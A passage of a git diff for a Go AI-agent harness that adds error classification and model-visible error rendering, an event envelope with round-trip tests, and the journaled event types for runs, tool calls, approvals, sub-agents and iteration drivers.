*Error { + return &Error{Class: class, Msg: msg, Err: err} +} + +// ClassOf classifies any error: a wrapped *Error wins; context sentinels +// map to canceled/timeout; everything else is internal. +func ClassOf(err error) Class { + var e *Error + if errors.As(err, &e) { + return e.Class + } + if errors.Is(err, context.Canceled) { + return Canceled + } + if errors.Is(err, context.DeadlineExceeded) { + return Timeout + } + return Internal +} + +// Retryable reports whether the error's class permits a retry. +func Retryable(err error) bool { return ClassOf(err).Retryable() } + +// FromHTTPStatus maps a provider HTTP status to a class (Gemini and +// Anthropic both follow these conventions). +func FromHTTPStatus(code int) Class { + switch { + case code == 429: + return ProviderRateLimit + case code >= 500: + return ProviderServer + case code == 401 || code == 403: + return ProviderAuth + case code >= 400: + return ProviderInvalid + default: + return Internal + } +} diff --git a/internal/errs/errs_test.go b/internal/errs/errs_test.go new file mode 100644 index 0000000..58eb7cc --- /dev/null +++ b/internal/errs/errs_test.go @@ -0,0 +1,114 @@ +package errs + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "strings" + "testing" +) + +func TestRetryablePolicy(t *testing.T) { + cases := []struct { + class Class + want bool + }{ + {ProviderRateLimit, true}, + {ProviderServer, true}, + {Timeout, true}, + {ProviderAuth, false}, + {ProviderInvalid, false}, + {ToolFailed, false}, + {Canceled, false}, + {Internal, false}, + } + for _, tc := range cases { + if got := tc.class.Retryable(); got != tc.want { + t.Errorf("%s.Retryable() = %v, want %v", tc.class, got, tc.want) + } + } +} + +func TestFromHTTPStatus(t *testing.T) { + cases := []struct { + code int + want Class + }{ + {429, ProviderRateLimit}, + {500, ProviderServer}, + {503, ProviderServer}, + {401, ProviderAuth}, + {403, ProviderAuth}, + {400, ProviderInvalid}, + {404, ProviderInvalid}, + {200, Internal}, + } + for _, tc := range cases { + if got := FromHTTPStatus(tc.code); got != tc.want { + t.Errorf("FromHTTPStatus(%d) = %s, want %s", tc.code, got, tc.want) + } + } +} + +func TestClassOf(t *testing.T) { + wrapped := fmt.Errorf("outer: %w", New(ProviderRateLimit, "quota")) + cases := []struct { + name string + err error + want Class + }{ + {"typed error through wrapping", wrapped, ProviderRateLimit}, + {"context canceled", fmt.Errorf("run: %w", context.Canceled), Canceled}, + {"deadline exceeded", context.DeadlineExceeded, Timeout}, + {"plain error", errors.New("mystery"), Internal}, + {"nil-safe default", fmt.Errorf("x"), Internal}, + } + for _, tc := range cases { + if got := ClassOf(tc.err); got != tc.want { + t.Errorf("%s: ClassOf = %s, want %s", tc.name, got, tc.want) + } + } +} + +func TestErrorFormatAndUnwrap(t *testing.T) { + base := errors.New("boom") + e := Wrap(ProviderServer, base, "gemini") + if !errors.Is(e, base) { + t.Error("Wrap must preserve the chain") + } + if got := e.Error(); got != "gemini [provider_server]: boom" { + t.Errorf("Error() = %q", got) + } + if !Retryable(e) { + t.Error("wrapped provider_server must be retryable") + } +} + +// 3.9: every class has a rendering row. +func TestRenderForModelTable(t *testing.T) { + cases := []struct { + class Class + want string + }{ + {ProviderRateLimit, "rate limited"}, + {ProviderServer, "server error"}, + {ProviderAuth, "rejected the harness credentials"}, + {ProviderInvalid, "invalid"}, + {ToolFailed, "tool failed"}, + {Timeout, "timed out"}, + {Canceled, "canceled"}, + {Internal, "internal harness error"}, + {Class("martian"), "internal harness error"}, // unknown → internal + } + for _, tc := range cases { + raw := RenderForModel(tc.class, "extra detail") + var m map[string]string + if err := json.Unmarshal(raw, &m); err != nil { + t.Fatalf("%s: %v", tc.class, err) + } + if !strings.Contains(m["error"], tc.want) || !strings.Contains(m["error"], "extra detail") { + t.Errorf("%s: rendered = %q", tc.class, m["error"]) + } + } +} diff --git a/internal/errs/render.go b/internal/errs/render.go new file mode 100644 index 0000000..9de5b02 --- /dev/null +++ b/internal/errs/render.go @@ -0,0 +1,35 @@ +package errs + +import ( + "encoding/json" + "fmt" +) + +// renderTable maps every class to its model-visible phrasing (3.9). This +// is the NORMALIZED form; per-provider wire shapes map in S4.7. The model +// gets actionable guidance, not stack traces. +var renderTable = map[Class]string{ + ProviderRateLimit: "the model service is rate limited; the harness already retried", + ProviderServer: "the model service had a server error; the harness already retried", + ProviderAuth: "the model service rejected the harness credentials", + ProviderInvalid: "the request was rejected as invalid", + ToolFailed: "the tool failed", + Timeout: "the operation timed out", + Canceled: "the operation was canceled", + Internal: "an internal harness error occurred", +} + +// RenderForModel produces the uniform model-visible error result for a +// classified failure. Deterministic — safe to use inside the fold. +func RenderForModel(class Class, detail string) json.RawMessage { + phrase, ok := renderTable[class] + if !ok { + phrase = renderTable[Internal] + } + msg := phrase + if detail != "" { + msg = fmt.Sprintf("%s: %s", phrase, detail) + } + raw, _ := json.Marshal(map[string]string{"error": msg, "class": string(class)}) + return raw +} diff --git a/internal/event/envelope.go b/internal/event/envelope.go new file mode 100644 index 0000000..5ea9999 --- /dev/null +++ b/internal/event/envelope.go @@ -0,0 +1,79 @@ +// Package event defines the Envelope wire shape and the full S2 payload +// type set. Events are facts (appended by the EventStore, which assigns +// seq/id/ts); commands are requests (id minted by the sender before the +// input is journaled). Fold determinism rests on event ORDER — nothing in +// this package reads the clock. +package event + +import ( + "crypto/rand" + "encoding/hex" + "encoding/json" + "fmt" + "time" +) + +// Envelope is one line of events.jsonl. For events, Seq/ID/TS are assigned +// by the EventStore at append time (ID = "evt-"); a not-yet-appended +// event has Seq 0 and empty ID. Commands carry a sender-minted ID. +type Envelope struct { + Seq int64 `json:"seq,omitempty"` + ID string `json:"id,omitempty"` + CausationID string `json:"causation_id,omitempty"` + CorrelationID string `json:"correlation_id,omitempty"` + Sender string `json:"sender,omitempty"` + Target string `json:"target,omitempty"` + Type string `json:"type"` + Payload json.RawMessage `json:"payload"` + TS time.Time `json:"ts,omitzero"` +} + +// New builds an unappended envelope for a registered payload type. +func New(typ string, payload any) (Envelope, error) { + if _, ok := Registry[typ]; !ok { + return Envelope{}, fmt.Errorf("event: unregistered type %q", typ) + } + raw, err := json.Marshal(payload) + if err != nil { + return Envelope{}, fmt.Errorf("event: marshal %s payload: %w", typ, err) + } + return Envelope{Type: typ, Payload: raw}, nil +} + +// ChildOf stamps causation/correlation propagation: the child is caused by +// the parent, and the correlation (root = session id) is inherited. +func (e Envelope) ChildOf(parent Envelope) Envelope { + e.CausationID = parent.ID + e.CorrelationID = parent.CorrelationID + return e +} + +// NewCommandID mints a random command id. Commands are external inputs — +// journaled before consumption — so randomness does not break replay. +func NewCommandID() string { + var b [4]byte + if _, err := rand.Read(b[:]); err != nil { + panic(fmt.Sprintf("event: crypto/rand unavailable: %v", err)) + } + return "cmd-" + hex.EncodeToString(b[:]) +} + +// EventID derives the deterministic id for an appended event. +func EventID(seq int64) string { + return fmt.Sprintf("evt-%d", seq) +} + +// DecodePayload unmarshals the payload into its registered struct and +// returns a pointer to it. Unknown types are an error — silently dropping +// facts is forbidden. +func DecodePayload(e Envelope) (any, error) { + mk, ok := Registry[e.Type] + if !ok { + return nil, fmt.Errorf("event: unknown type %q (seq %d)", e.Type, e.Seq) + } + p := mk() + if err := json.Unmarshal(e.Payload, p); err != nil { + return nil, fmt.Errorf("event: decode %s (seq %d): %w", e.Type, e.Seq, err) + } + return p, nil +} diff --git a/internal/event/event_test.go b/internal/event/event_test.go new file mode 100644 index 0000000..bc699d3 --- /dev/null +++ b/internal/event/event_test.go @@ -0,0 +1,175 @@ +package event + +import ( + "encoding/json" + "reflect" + "strings" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/provider" +) + +// One populated sample per registered type. The round-trip test refuses to +// pass if a registered type has no sample here — adding an event type +// forces adding its sample. +var samples = map[string]any{ + TypeRunStarted: &RunStarted{SpecName: "hello", Model: "gemini-flash-latest", + Task: "fix it", Version: "dev", SubStateVersions: map[string]int{"conversation": 1}, + Spec: json.RawMessage(`{"name":"hello"}`), WorkspaceRoot: "/w", + Env: "\ncwd: /w\n", Memory: "rules", + Skills: "- s", Agents: "- a", + Inputs: []ArtifactInput{{Ref: "sha256-aa", Path: "in.md"}}, + PermissionLayers: json.RawMessage(`[[{"tool":"edit_file","action":"deny"}]]`)}, + TypeInputReceived: &InputReceived{Text: "please fix", Source: "cli"}, + TypeTurnStarted: &TurnStarted{Turn: 3}, + TypeAssistantMessage: &AssistantMessage{Turn: 3, Message: provider.Message{ + Role: provider.RoleAssistant, + Parts: []provider.Part{{Kind: provider.PartToolCall, CallID: "call_3_0", + ToolName: "read_file", Args: json.RawMessage(`{"path":"a.go"}`)}}, + }}, + TypeActivityStarted: &ActivityStarted{ActivityID: "tool-call_3_0", Kind: KindTool, + Name: "read_file", Args: json.RawMessage(`{"path":"a.go"}`), + CallID: "call_3_0", Idempotent: true, Attempt: 1}, + TypeActivityCompleted: &ActivityCompleted{ActivityID: "llm-t3", + Result: json.RawMessage(`{"ok":true}`), + Usage: &provider.Usage{InputTokens: 5, OutputTokens: 7}}, + TypeActivityFailed: &ActivityFailed{ActivityID: "llm-t3", + Error: ErrorInfo{Class: "provider_server", Message: "503", Retryable: true}, Attempt: 2}, + TypeActivityCancelled: &ActivityCancelled{ActivityID: "tool-call_3_1", PartialOutput: "partial", + Usage: &provider.Usage{InputTokens: 40, OutputTokens: 10}}, + TypeTimerSet: &TimerSet{TimerID: "tm-1", + FireAt: time.Date(2026, 7, 3, 12, 0, 0, 0, time.UTC), Purpose: "activity_timeout"}, + TypeTimerFired: &TimerFired{TimerID: "tm-1"}, + TypeTimerCancelled: &TimerCancelled{TimerID: "tm-1"}, + TypeWaitingEntered: &WaitingEntered{Kind: WaitApproval, Detail: json.RawMessage(`{"call_id":"call_3_1"}`)}, + TypeWaitingResolved: &WaitingResolved{Kind: WaitApproval, Resolution: "approved"}, + TypeActorCrashed: &ActorCrashed{Actor: "session", Error: "boom"}, + TypeEffectRequested: &EffectRequested{EffectID: "eff-call_3_1", CallID: "call_3_1", SideEffecting: true}, + TypeApprovalRequested: &ApprovalRequested{ApprovalID: "apr-eff-call_3_1", EffectID: "eff-call_3_1", + CallID: "call_3_1", GateResults: []GateResult{{Gate: "permission", Decision: VerdictAsk, Reason: "edit"}}, + PayloadRef: "sha256-planref", EstTokens: 1000}, + TypeApprovalResponded: &ApprovalResponded{ApprovalID: "apr-eff-call_3_1", Decision: "approve", + Reason: "looks safe", Source: "tty"}, + TypeModeChanged: &ModeChanged{From: "plan", To: "default", Cause: "exit_plan_mode approved"}, + TypeLimitExceeded: &LimitExceeded{Kind: "tokens", Limit: 10000, Used: 10250}, + TypeTurnDiscarded: &TurnDiscarded{Turn: 3, Reason: "llm retry after partial stream"}, + TypeContextCompacted: &ContextCompacted{UptoTurn: 4, Summary: "user asked X; did Y", DroppedTurns: 3}, + TypeMalformedToolCall: &MalformedToolCall{Turn: 3, Raw: "{bad json", Error: "unexpected end of input"}, + TypeToolsDiscovered: &ToolsDiscovered{Server: "demo", Tools: []MCPToolDef{{ + Server: "demo", Name: "mcp__demo__peek", Description: "read-only peek", + Class: "read", InputSchema: json.RawMessage(`{"type":"object"}`)}}}, + TypeSpawnRequested: &SpawnRequested{CallID: "call_2_0", Agent: "summarizer", + Task: "summarize the findings", ChildSession: "sess-sub-call_2_0", Depth: 1, BudgetTokens: 4000}, + TypeSubagentCompleted: &SubagentCompleted{CallID: "call_2_0", Agent: "summarizer", + ChildSession: "sess-sub-call_2_0", Reason: "completed", Turns: 2, + Usage: provider.Usage{InputTokens: 100, OutputTokens: 50}}, + TypeArtifactPublished: &ArtifactPublished{Stream: "report", Version: 2, + Ref: "sha256-deadbeef", Bytes: 512, Source: "tool"}, + TypeEffectResolved: &EffectResolved{EffectID: "eff-call_3_1", CallID: "call_3_1", + Verdict: VerdictDeny, GateResults: []GateResult{ + {Gate: "permission", Decision: VerdictDeny, Reason: "path escapes workspace"}}}, + TypeRunEnded: &RunEnded{Reason: "completed", Turns: 4, Usage: provider.Usage{InputTokens: 10}}, + TypeDriverStarted: &DriverStarted{DriverID: "drv-1", SpecName: "nightly", + Spec: json.RawMessage(`{"name":"nightly"}`), WorkspaceRoot: "/w", FoldVersion: 1}, + TypeIterationScheduled: &IterationScheduled{DriverID: "drv-1", Iter: 2, Schedule: "immediate"}, + TypeIterationLaunched: &IterationLaunched{DriverID: "drv-1", Iter: 2, ChildSession: "drv-1-iter-2"}, + TypeIterationCompleted: &IterationCompleted{DriverID: "drv-1", Iter: 2, ChildSession: "drv-1-iter-2", + ChildReason: "completed", Verdict: IterationVerdict{Pass: true, Score: 1, Verifier: "command", Detail: "exit=0"}, + Usage: provider.Usage{InputTokens: 30, OutputTokens: 12}, CarryRef: "sha256-carry", Carry: "wrote 3 lines"}, + TypeIterationSkipped: &IterationSkipped{DriverID: "drv-1", Iter: 3, Reason: "overlap"}, + TypeDriverCompleted: &DriverCompleted{DriverID: "drv-1", Reason: "satisfied", Iterations: 2, BestIter: 2}, + TypeNotificationSent: &NotificationSent{Key: "run_end/sess-1", Kind: "run_end", + Session: "sess-1", Text: "run completed", Channel: "command"}, +} + +func TestRoundTripAllTypes(t *testing.T) { + if len(samples) != len(Registry) { + t.Fatalf("samples = %d, registry = %d — every registered type needs a sample", len(samples), len(Registry)) + } + for typ, sample := range samples { + t.Run(typ, func(t *testing.T) { + env, err := New(typ, sample) + if err != nil { + t.Fatal(err) + } + line, err := json.Marshal(env) + if err != nil { + t.Fatal(err) + } + var back Envelope + if err := json.Unmarshal(line, &back); err != nil { + t.Fatal(err) + } + decoded, err := DecodePayload(back) + if err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(decoded, sample) { + t.Errorf("round trip mismatch:\n got %#v\nwant %#v", decoded, sample) + } + }) + } +} + +func TestNewRejectsUnregisteredType(t *testing.T) { + if _, err := New("hologram", struct{}{}); err == nil { + t.Fatal("unregistered type must be rejected") + } +} + +func TestDecodeUnknownTypeIsError(t *testing.T) { + _, err := DecodePayload(Envelope{Seq: 7, Type: "from_the_future", Payload: json.RawMessage(`{}`)}) + if err == nil || !strings.Contains(err.Error(), "from_the_future") { + t.Fatalf("err = %v, want unknown-type error naming the type", err) + } +} + +func TestChildOfPropagation(t *testing.T) { + parent := Envelope{ID: "evt-9", CorrelationID: "20260703-120000-fix-abcd"} + child, err := New(TypeTurnStarted, &TurnStarted{Turn: 1}) + if err != nil { + t.Fatal(err) + } + child = child.ChildOf(parent) + if child.CausationID != "evt-9" { + t.Errorf("causation = %q, want parent id", child.CausationID) + } + if child.CorrelationID != parent.CorrelationID { + t.Errorf("correlation = %q, want inherited", child.CorrelationID) + } +} + +func TestCommandIDFormat(t *testing.T) { + a, b := NewCommandID(), NewCommandID() + if !strings.HasPrefix(a, "cmd-") || len(a) != len("cmd-")+8 { + t.Errorf("id = %q, want cmd-<8hex>", a) + } + if a == b { + t.Errorf("two ids collided: %q", a) + } +} + +func TestEventID(t *testing.T) { + if got := EventID(42); got != "evt-42" { + t.Errorf("EventID = %q", got) + } +} + +// Envelope JSON must keep the wire field names fixed — S2's on-disk format. +func TestEnvelopeWireFields(t *testing.T) { + env := Envelope{Seq: 1, ID: "evt-1", CausationID: "cmd-aabbccdd", + CorrelationID: "sess", Sender: "kernel", Target: "session", + Type: TypeTurnStarted, Payload: json.RawMessage(`{"turn":1}`), + TS: time.Date(2026, 7, 3, 0, 0, 0, 0, time.UTC)} + raw, err := json.Marshal(env) + if err != nil { + t.Fatal(err) + } + for _, field := range []string{`"seq":1`, `"id":"evt-1"`, `"causation_id"`, + `"correlation_id"`, `"sender"`, `"target"`, `"type"`, `"payload"`, `"ts"`} { + if !strings.Contains(string(raw), field) { + t.Errorf("wire form missing %s: %s", field, raw) + } + } +} diff --git a/internal/event/types.go b/internal/event/types.go new file mode 100644 index 0000000..6d2178e --- /dev/null +++ b/internal/event/types.go @@ -0,0 +1,532 @@ +package event + +import ( + "encoding/json" + "time" + + "github.com/ralphite/agentrunner/internal/provider" +) + +// The S2 event type set. S3+ may only ADD types, never change these. +const ( + TypeRunStarted = "run_started" + TypeInputReceived = "input_received" + TypeTurnStarted = "turn_started" + TypeAssistantMessage = "assistant_message" + TypeActivityStarted = "activity_started" + TypeActivityCompleted = "activity_completed" + TypeActivityFailed = "activity_failed" + TypeActivityCancelled = "activity_cancelled" + TypeTimerSet = "timer_set" + TypeTimerFired = "timer_fired" + TypeTimerCancelled = "timer_cancelled" + TypeWaitingEntered = "waiting_entered" + TypeWaitingResolved = "waiting_resolved" + TypeActorCrashed = "actor_crashed" + TypeRunEnded = "run_ended" + + // S3 additions (the S2 set above never changes). + TypeEffectRequested = "effect_requested" + TypeEffectResolved = "effect_resolved" + TypeApprovalRequested = "approval_requested" + TypeApprovalResponded = "approval_responded" + TypeModeChanged = "mode_changed" + TypeLimitExceeded = "limit_exceeded" + + // S4 additions. + TypeTurnDiscarded = "turn_discarded" + TypeContextCompacted = "context_compacted" + TypeMalformedToolCall = "malformed_tool_call" + + // S5 additions. + TypeToolsDiscovered = "tools_discovered" + TypeSpawnRequested = "spawn_requested" + TypeSubagentCompleted = "subagent_completed" + TypeArtifactPublished = "artifact_published" + + // S6 additions (IterationDriver, DESIGN §运行形态). These belong to the + // driver's OWN stream — folded by internal/driver, never by the run fold, + // so they carry no run SubStateVersions entry. + TypeDriverStarted = "driver_started" + TypeIterationScheduled = "iteration_scheduled" + TypeIterationLaunched = "iteration_launched" + TypeIterationCompleted = "iteration_completed" + TypeIterationSkipped = "iteration_skipped" + TypeDriverCompleted = "driver_completed" + + // S6 模块⑤: the notifier's OWN stream (never in a run journal). + TypeNotificationSent = "notification_sent" +) + +// Effect verdicts and gate decisions. +const ( + VerdictAllow = "allow" + VerdictAsk = "ask" + VerdictDeny = "deny" +) + +// Activity kinds. +const ( + KindLLM = "llm" + KindTool = "tool" +) + +// Waiting kinds (the full 2.14 registry; tasks/timer cannot be produced +// before S6 but the vocabulary is fixed now). +const ( + WaitInput = "input" + WaitApproval = "approval" + WaitTasks = "tasks" + WaitTimer = "timer" +) + +type RunStarted struct { + SpecName string `json:"spec_name"` + Model string `json:"model"` + Task string `json:"task"` + Version string `json:"version"` + SubStateVersions map[string]int `json:"sub_state_versions"` + // Spec and WorkspaceRoot let `resume ` reconstruct the run + // without the original spec file (2.17). + Spec json.RawMessage `json:"spec,omitempty"` + WorkspaceRoot string `json:"workspace_root,omitempty"` + // Env is the environment block (cwd, date) rendered and FROZEN at session + // start (S4.4c / DESIGN §context-assembly): volatile data captured once + // so it never rewrites the cacheable prompt prefix on later turns. + Env string `json:"env,omitempty"` + // Memory and Skills are the rendered CLAUDE.md merge and the skills + // directory block (S5.2), frozen at session start exactly like Env — + // editing the files mid-run must not rewrite the prefix. + Memory string `json:"memory,omitempty"` + Skills string `json:"skills,omitempty"` + // Agents is the rendered sub-agent directory block (S5.3), frozen like + // Skills — the model spawns only what it can see. + Agents string `json:"agents,omitempty"` + // Inputs are artifact refs to materialize into the workspace before the + // first turn (S5.8) — how a parent hands documents to a child. + Inputs []ArtifactInput `json:"inputs,omitempty"` + // PermissionLayers materializes the run's EFFECTIVE permission rules as + // data (S6, S5 回访): a JSON [][]pipeline.PermissionRule, ordered + // outermost (root) → innermost (this run). Chained first-match layers + // cannot be flattened into one list, so the layers stay separate; a + // cross-process resume rebuilds one gate per layer instead of chasing + // in-memory gate pointers that no longer exist. Raw JSON because event + // must not import pipeline (which imports event). + PermissionLayers json.RawMessage `json:"permission_layers,omitempty"` +} + +// ArtifactInput is one artifact handed to a run as input (S5.8). +type ArtifactInput struct { + Ref string `json:"ref"` + Path string `json:"path"` // workspace-relative destination +} + +type InputReceived struct { + Text string `json:"text"` + Source string `json:"source"` +} + +type TurnStarted struct { + Turn int `json:"turn"` +} + +type AssistantMessage struct { + Turn int `json:"turn"` + Message provider.Message `json:"message"` +} + +type ActivityStarted struct { + ActivityID string `json:"activity_id"` + Kind string `json:"kind"` // llm | tool + Name string `json:"name"` + Args json.RawMessage `json:"args,omitempty"` + CallID string `json:"call_id,omitempty"` + Idempotent bool `json:"idempotent,omitempty"` + Attempt int `json:"attempt"` + // Background marks a task-style activity (S6.1): the tool call pairs + // with a handle result IMMEDIATELY (the fold renders it from this very + // event) and the terminal event arrives later, rendered as a user-role + // input. No separate Task event family — this flag IS the task fact. + Background bool `json:"background,omitempty"` +} + +type ActivityCompleted struct { + ActivityID string `json:"activity_id"` + Result json.RawMessage `json:"result,omitempty"` + Usage *provider.Usage `json:"usage,omitempty"` + IsError bool `json:"is_error,omitempty"` + // HookNote carries post-tool hook output (3.8): audit-only, additive. + HookNote string `json:"hook_note,omitempty"` +} + +// ErrorInfo is the journaled form of a classified error (2.8 taxonomy). +type ErrorInfo struct { + Class string `json:"class"` + Message string `json:"message"` + Retryable bool `json:"retryable"` +} + +type ActivityFailed struct { + ActivityID string `json:"activity_id"` + Error ErrorInfo `json:"error"` + Attempt int `json:"attempt"` + // Final marks the attempt that exhausted the retry policy (3.9): the + // activity is over, and for tool calls the fold renders the failure + // as the call's model-visible result. + Final bool `json:"final,omitempty"` +} + +type ActivityCancelled struct { + ActivityID string `json:"activity_id"` + PartialOutput string `json:"partial_output,omitempty"` + // Usage settles tokens the cancelled activity ALREADY spent (S5 review): + // a steered/aborted child run burned real budget — losing it would let a + // re-spawn over-grant against the tree cap. + Usage *provider.Usage `json:"usage,omitempty"` +} + +type TimerSet struct { + TimerID string `json:"timer_id"` + FireAt time.Time `json:"fire_at"` + Purpose string `json:"purpose"` +} + +type TimerFired struct { + TimerID string `json:"timer_id"` +} + +// TimerCancelled clears a pending timer whose purpose completed before it +// fired (e.g. the activity finished inside its timeout). +type TimerCancelled struct { + TimerID string `json:"timer_id"` +} + +type WaitingEntered struct { + Kind string `json:"kind"` + Detail json.RawMessage `json:"detail,omitempty"` +} + +type WaitingResolved struct { + Kind string `json:"kind"` + Resolution string `json:"resolution"` +} + +type ActorCrashed struct { + Actor string `json:"actor"` + Error string `json:"error"` +} + +type RunEnded struct { + Reason string `json:"reason"` + Turns int `json:"turns"` + Usage provider.Usage `json:"usage"` +} + +// EffectRequested marks entry into the gate sequence (3.2): an effect +// with this fact but no EffectResolved crashed mid-adjudication. When the +// pipeline contains side-effecting gates (hooks), that window is in-doubt; +// pure-gate windows simply re-adjudicate on resume. +type EffectRequested struct { + EffectID string `json:"effect_id"` + CallID string `json:"call_id,omitempty"` + SideEffecting bool `json:"side_effecting,omitempty"` +} + +// ApprovalRequested parks an ask-verdict effect for a human decision. It +// carries every gate's judgment (the prompt must show the full picture) +// and a reserved payload_ref for large payloads via the S7 ArtifactStore. +type ApprovalRequested struct { + ApprovalID string `json:"approval_id"` + EffectID string `json:"effect_id"` + CallID string `json:"call_id,omitempty"` + GateResults []GateResult `json:"gate_results,omitempty"` + PayloadRef string `json:"payload_ref,omitempty"` + // EstTokens preserves the budget reservation basis across a parked + // wait (the approval may resolve after a crash+resume). + EstTokens int `json:"est_tokens,omitempty"` +} + +// ApprovalResponded is the journaled human decision (an external input: +// journal-inputs-first applies). +type ApprovalResponded struct { + ApprovalID string `json:"approval_id"` + Decision string `json:"decision"` // approve | deny + Reason string `json:"reason,omitempty"` + Source string `json:"source"` // tty | env | interrupt +} + +// ModeChanged records a run-mode transition (3.6c). Cause names the +// authority: "startup" | "exit_plan_mode approved" | "user". +type ModeChanged struct { + From string `json:"from,omitempty"` + To string `json:"to"` + Cause string `json:"cause"` +} + +// LimitExceeded records a resource-budget breach (3.7c): the run then +// ends gracefully through the epilogue, never mid-effect. +type LimitExceeded struct { + Kind string `json:"kind"` // tokens + Limit int `json:"limit"` + Used int `json:"used"` +} + +// TurnDiscarded marks an LLM turn whose partial stream was thrown away +// before a retry (S4.1): a durable companion to the ephemeral delta +// channel, telling a resuming surface to reopen the stream. The fold has +// no half-built assistant message to undo (assistant_message lands only on +// success), so this event is audit + surface-signal only. +type TurnDiscarded struct { + Turn int `json:"turn"` + Reason string `json:"reason,omitempty"` +} + +// ContextCompacted records a compaction (S4.5): the output of a summarizer +// LLM call (a nondeterministic recorded activity) that REPLACES the +// conversation prefix folded so far with Summary. It changes subsequent +// fold results — fold to seq N and you get the pre- or post-compaction view +// depending on which side of this event N lands, which is what makes +// fork/rewind across the boundary well-defined. Summary is inlined in S4; +// SummaryRef (ArtifactStore) is reserved for later. +type ContextCompacted struct { + UptoTurn int `json:"upto_turn"` + Summary string `json:"summary"` + DroppedTurns int `json:"dropped_turns,omitempty"` + SummaryRef string `json:"summary_ref,omitempty"` +} + +// MalformedToolCall records that a completed LLM call finished with an +// unparseable tool call (S4.6). It drives a bounded retry of the same turn +// (reusing the discard signal); Raw is the model's best-effort output for +// debugging, Error the parse failure. +type MalformedToolCall struct { + Turn int `json:"turn"` + Raw string `json:"raw,omitempty"` + Error string `json:"error,omitempty"` +} + +// ToolsDiscovered journals one MCP server's discovered tool schemas (S5.1). +// The server CONNECTION is out-of-band runtime state — only the schemas are +// facts: resume reads them to know the run's tool face, then re-connects out +// of band and reconciles the live schemas against these (drift is refused, +// never silently absorbed — same discipline as 2.13 versioning). +type ToolsDiscovered struct { + Server string `json:"server"` + Tools []MCPToolDef `json:"tools"` +} + +// MCPToolDef is one discovered MCP tool as journaled: fully-qualified name, +// the class the harness assigned (untagged → execute), and the schema. +type MCPToolDef struct { + Server string `json:"server"` + Name string `json:"name"` // fully-qualified mcp____ + Description string `json:"description,omitempty"` + Class string `json:"class"` + InputSchema json.RawMessage `json:"input_schema,omitempty"` +} + +// SpawnRequested records an adjudicated-allow sub-agent spawn (S5.3), right +// before the child run starts. ChildSession is the child's own journal — +// the parent log holds the REF, never the child's events (fresh child run, +// fault isolation). BudgetTokens is the frozen min-aggregated allowance. +type SpawnRequested struct { + CallID string `json:"call_id"` + Agent string `json:"agent"` + Task string `json:"task"` + ChildSession string `json:"child_session"` + Depth int `json:"depth"` + BudgetTokens int `json:"budget_tokens,omitempty"` +} + +// SubagentCompleted records the child run's terminal outcome in the PARENT +// log (S5.3): the ref plus the summary facts inspect needs to render the +// tree without opening every child journal. +type SubagentCompleted struct { + CallID string `json:"call_id"` + Agent string `json:"agent"` + ChildSession string `json:"child_session"` + Reason string `json:"reason"` + Turns int `json:"turns"` + Usage provider.Usage `json:"usage"` +} + +// ArtifactPublished records one durable deliverable version (S5.5). The +// blob (and manifest) were fsynced BEFORE this event was appended — the ref +// always resolves; a crash in between leaves an orphan blob, never a +// dangling ref (mirror of the journal's fsync-before-ack). +type ArtifactPublished struct { + Stream string `json:"stream"` + Version int `json:"version"` + Ref string `json:"ref"` + Bytes int `json:"bytes,omitempty"` + // Source says what published it: "tool" (publish_artifact) or + // "epilogue" (the outputs-contract auto-publish, S5.6). + Source string `json:"source,omitempty"` +} + +// DriverStarted is the driver stream's header fact (S7 还债: version +// discipline + provenance, mirroring RunStarted 2.17): the spec and fold +// version journaled at series start guard every resume — a fold-shape change +// refuses old streams instead of silently misreading them. Streams predating +// the header (S6) are accepted as fold version 1. +type DriverStarted struct { + DriverID string `json:"driver_id"` + SpecName string `json:"spec_name"` + Spec json.RawMessage `json:"spec,omitempty"` + WorkspaceRoot string `json:"workspace_root,omitempty"` + FoldVersion int `json:"fold_version"` +} + +// IterationScheduled marks one driver iteration as due (S6, DESIGN §运行 +// 形态). Goal mode schedules immediately; loop mode via interval/cron/ +// self_paced schedules the same fact from a timer. +type IterationScheduled struct { + DriverID string `json:"driver_id"` + Iter int `json:"iter"` + Schedule string `json:"schedule,omitempty"` +} + +// IterationLaunched records the fresh child run for an iteration, journaled +// BEFORE the child starts (journal-before-send): a crash mid-iteration is +// recoverable because the child session is a deterministic sub-path. +type IterationLaunched struct { + DriverID string `json:"driver_id"` + Iter int `json:"iter"` + ChildSession string `json:"child_session"` +} + +// IterationVerdict is one iteration's verification outcome (S6). Score +// normalizes binary (0/1) and metric verifiers alike so stall detection can +// compare iterations on one axis. +type IterationVerdict struct { + Pass bool `json:"pass"` + Score float64 `json:"score"` + Verifier string `json:"verifier,omitempty"` + Detail string `json:"detail,omitempty"` +} + +// IterationCompleted records the child's terminal outcome plus the verdict +// (S6: verdict journals here). CarryRef points at the ArtifactStore carry +// doc; Carry is a short inline excerpt kept for inspect without a blob read. +type IterationCompleted struct { + DriverID string `json:"driver_id"` + Iter int `json:"iter"` + ChildSession string `json:"child_session"` + ChildReason string `json:"child_reason"` + Verdict IterationVerdict `json:"verdict"` + Usage provider.Usage `json:"usage,omitzero"` + CarryRef string `json:"carry_ref,omitempty"` + Carry string `json:"carry,omitempty"` +} + +// IterationSkipped records a schedule tick that did not launch (loop-mode +// overlap=skip) — a fact, never silence (S6, DESIGN §运行形态). +type IterationSkipped struct { + DriverID string `json:"driver_id"` + Iter int `json:"iter"` + Reason string `json:"reason"` +} + +// DriverCompleted is the driver's terminal fact (S6). Reason ∈ satisfied | +// stalled | max_iterations | budget | stopped | child_failed. BestIter is +// the 1-based iteration the stall/summary presentation carries forward. +type DriverCompleted struct { + DriverID string `json:"driver_id"` + Reason string `json:"reason"` + Iterations int `json:"iterations"` + BestIter int `json:"best_iter,omitempty"` +} + +// NotificationSent is the notifier's dedup fact (S6 模块⑤): one line per +// delivered (or fallback-delivered) notification, in the notifier's own +// stream. The Key is the dedup identity; startup reconciliation replays +// missed lifecycle moments against this set. +type NotificationSent struct { + Key string `json:"key"` // e.g. run_end/, approval// + Kind string `json:"kind"` + Session string `json:"session,omitempty"` + Text string `json:"text,omitempty"` + Channel string `json:"channel"` // command | stderr +} + +// GateResult is one gate's judgment inside an effect resolution. +type GateResult struct { + Gate string `json:"gate"` + Decision string `json:"decision"` // allow | ask | deny + Reason string `json:"reason,omitempty"` +} + +// EffectResolved journals the pipeline's final verdict — allow or deny, +// with every gate's judgment — AFTER adjudication and BEFORE execution +// (the ask path resolves to one of these after the approval response). +type EffectResolved struct { + EffectID string `json:"effect_id"` + CallID string 